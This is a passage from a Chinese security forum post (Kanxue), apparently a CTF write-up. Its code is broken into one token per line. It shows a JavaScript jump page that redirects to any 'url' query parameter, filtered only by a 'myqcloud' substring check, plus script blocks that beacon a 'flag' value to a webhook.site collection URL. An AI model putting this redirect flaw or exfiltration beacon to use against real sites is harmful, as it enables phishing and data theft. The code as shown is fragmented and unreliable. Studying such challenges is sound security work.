myurl不能含有myqcloud
window.location.href
=
myurl;
/
/
只表示打开这个url页面,并不是打开且刷新这个页面
}
<
/
script>
<h1>jump<
/
h1>
<script>
function getQueryVariable(variable)
{
var query
=
window.location.search.substring(
1
);
/
/
window.location是获得当前页面的url地址,添上search之后表示从
"?"
开始的url,而substring(
1
)就是将
"?"
截掉。
var
vars
=
query.split(
"&"
);
/
/
把query以
"&"
进行分割
for
(var i
=
0
;i<
vars
.length;i
+
+
) {
var pair
=
vars
[i].split(
"="
);
if
(pair[
0
]
=
=
variable){
return
pair[
1
];}
}
return
(false);
/
/
获得url参数
}
var myurl
=
getQueryVariable(
"url"
).toString().toLowerCase();
/
/
if
(myurl !
=
'false'
&& myurl.length >
1
&& myurl.indexOf(
"myqcloud"
)
=
=
-
1
) {
/
/
myurl不能含有myqcloud
window.location.href
=
myurl;
/
/
只表示打开这个url页面,并不是打开且刷新这个页面
}
<
/
script>
<script>
async function fetchTest(){
fetch(
"https://webhook.site/bf5aa6d4-1b89-4eaf-a1dd-9b003555cd99/?flag=123"
)}
(async ()
=
> {await fetchTest();})();
<
/
script>
<script>
async function fetchTest(){
fetch(
"https://webhook.site/bf5aa6d4-1b89-4eaf-a1dd-9b003555cd99/?flag=123"
)}
(async ()
=
> {await fetchTest();})();
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2022-12-2 21:58
被kanxue编辑
,原因: